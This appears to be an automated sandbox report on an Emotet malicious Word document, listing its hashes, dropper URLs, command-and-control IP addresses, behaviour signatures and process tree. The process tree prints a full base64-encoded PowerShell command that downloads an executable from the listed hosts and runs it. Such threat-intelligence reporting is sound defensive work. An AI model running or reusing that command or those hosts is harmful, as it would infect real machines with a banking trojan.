Analysis

  • max time kernel
    91s
  • max time network
    73s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    13/08/2020, 14:31

General

  • Target
    emotet_e3_4bd0be911a687ec4b5a5cbb2e2fefd2756af0764a5360ecdb90bbde1dbd3dfd2_2020-08-13__143038._doc.doc
  • Size 232KB
  • Sample200813-gmt9tx5pcx
  • SHA256 4bd0be911a687ec4b5a5cbb2e2fefd2756af0764a5360ecdb90bbde1dbd3dfd2
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://gregemmerth.com/stats/rBZp0wy31512967/

  • exe.dropper

    http://paralink.com.br/faatads/19zPjcmw7r318182393/

  • exe.dropper

    http://riandutra.com/img/yiZS/

  • exe.dropper

    https://mrveggy.com/erros/Busgh63a1960/

  • exe.dropper

    http://mycyberhealth.online/yyczief/wlW/

Extracted

Family
  • emotet

C2
  • 176.216.226.44:80

  • 159.203.232.29:8080

  • 185.86.148.68:443

  • 87.106.231.60:8080

  • 113.161.148.81:80

  • 78.189.60.109:443

  • 192.163.221.191:8080

  • 31.146.61.34:80

  • 37.70.131.107:80

  • 153.220.182.49:80

  • 177.144.130.105:443

  • 181.167.35.84:80

  • 202.5.47.71:80

  • 192.241.220.183:8080

  • 78.188.170.128:80

  • 182.176.95.147:80

  • 87.252.100.28:80

  • 115.78.11.155:80

  • 212.156.133.218:80

  • 203.153.216.178:7080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_4bd0be911a687ec4b5a5cbb2e2fefd2756af0764a5360ecdb90bbde1dbd3dfd2_2020-08-13__143038._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1588
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABBAE4AVwBUAFMAZQB2AGoAPQAnAEsASgBCAFkATwBvAGoAaQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAEUAYwB1AHIAaQB0AGAAeQBwAGAAUgBgAE8AdABvAEMATwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQAWABTAEIATABYAGUAdwBjACAAPQAgACcAVwBtAHoAeQAnADsAJABQAFoASgBRAFMAawBmAHEAPQAnAEkARgBOAFQAVwB1AGgAdAAnADsAJABBAEwAWgBLAEgAbABvAGkAPQAkAGUAbgB2ADoAdABlAG0AcAArACcAXAAnACsAJABYAFMAQgBMAFgAZQB3AGMAKwAnAC4AZQB4AGUAJwA7ACQAUABYAE8ARQBaAHkAegBkAD0AJwBDAFAASQBKAEQAegBjAHkAJwA7ACQATwBKAEoASgBZAGEAaQBoAD0ALgAoACcAbgBlAHcALQBvAGIAagBlACcAKwAnAGMAJwArACcAdAAnACkAIABOAEUAVAAuAHcAZQBiAEMAbABpAGUATgBUADsAJABLAEcASwBFAEgAagBvAGwAPQAnAGgAdAB0AHAAOgAvAC8AZwByAGUAZwBlAG0AbQBlAHIAdABoAC4AYwBvAG0ALwBzAHQAYQB0AHMALwByAEIAWgBwADAAdwB5ADMAMQA1ADEAMgA5ADYANwAvACoAaAB0AHQAcAA6AC8ALwBwAGEAcgBhAGwAaQBuAGsALgBjAG8AbQAuAGIAcgAvAGYAYQBhAHQAYQBkAHMALwAxADkAegBQAGoAYwBtAHcANwByADMAMQA4ADEAOAAyADMAOQAzAC8AKgBoAHQAdABwADoALwAvAHIAaQBhAG4AZAB1AHQAcgBhAC4AYwBvAG0ALwBpAG0AZwAvAHkAaQBaAFMALwAqAGgAdAB0AHAAcwA6AC8ALwBtAHIAdgBlAGcAZwB5AC4AYwBvAG0ALwBlAHIAcgBvAHMALwBCAHUAcwBnAGgANgAzAGEAMQA5ADYAMAAvACoAaAB0AHQAcAA6AC8ALwBtAHkAYwB5AGIAZQByAGgAZQBhAGwAdABoAC4AbwBuAGwAaQBuAGUALwB5AHkAYwB6AGkAZQBmAC8AdwBsAFcALwAnAC4AIgBTAGAAUABsAEkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEoAQgBMAEsARQBoAGoAYQA9ACcASwBWAFIATwBBAGQAcwBrACcAOwBmAG8AcgBlAGEAYwBoACgAJABRAE8ARwBGAEkAbAB1AGoAIABpAG4AIAAkAEsARwBLAEUASABqAG8AbAApAHsAdAByAHkAewAkAE8ASgBKAEoAWQBhAGkAaAAuACIAZABvAGAAVwBuAGAATABvAGEARABmAGkAYABMAGUAIgAoACQAUQBPAEcARgBJAGwAdQBqACwAIAAkAEEATABaAEsASABsAG8AaQApADsAJABLAEsAQQBMAFIAbwB4AGMAPQAnAFMAWQBDAE4AUgB5AHgAeQAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0ACcAKwAnAC0ASQB0AGUAJwArACcAbQAnACkAIAAkAEEATABaAEsASABsAG8AaQApAC4AIgBMAEUAYABOAEcAYABUAGgAIgAgAC0AZwBlACAAMwAzADMANAAxACkAIAB7ACYAKAAnAEkAbgB2AG8AawBlAC0ASQB0ACcAKwAnAGUAJwArACcAbQAnACkAKAAkAEEATABaAEsASABsAG8AaQApADsAJABFAFQASABWAFkAYwBvAGkAPQAnAE4ATwBGAFIAUwB5AHMAbgAnADsAYgByAGUAYQBrADsAJABZAEoAWABOAEIAZgBxAGMAPQAnAFgARQBUAFEAQwBsAGoAZwAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABEAFAAQwBJAEQAZwBiAHAAPQAnAE0ARwBKAFAAWgBsAGEAegAnAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1760
    • C:\Users\Admin\AppData\Local\Temp\Wmzy.exe
      "C:\Users\Admin\AppData\Local\Temp\Wmzy.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1832
      • C:\Windows\SysWOW64\powercfg\iassdo.exe
        "C:\Windows\SysWOW64\powercfg\iassdo.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:1584

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/1416-24-0x000007FEF25F0000-0x000007FEF286A000-memory.dmp

        memory/1584-23-0x0000000000280000-0x000000000028C000-memory.dmp

        memory/1588-5-0x000000000A8E0000-0x000000000A8E4000-memory.dmp

        memory/1588-6-0x000000000B960000-0x000000000B964000-memory.dmp

        memory/1588-2-0x0000000008770000-0x0000000008774000-memory.dmp

        memory/1588-15-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1760-10-0x00000000023E0000-0x00000000023E1000-memory.dmp

        memory/1760-16-0x000000001C590000-0x000000001C591000-memory.dmp

        memory/1760-14-0x000000001C350000-0x000000001C351000-memory.dmp

        memory/1760-13-0x00000000025D0000-0x00000000025D1000-memory.dmp

        memory/1760-12-0x0000000002430000-0x0000000002431000-memory.dmp

        memory/1760-11-0x000000001AC80000-0x000000001AC81000-memory.dmp

        memory/1760-9-0x000007FEF1E80000-0x000007FEF286C000-memory.dmp

        memory/1832-19-0x0000000000290000-0x000000000029C000-memory.dmp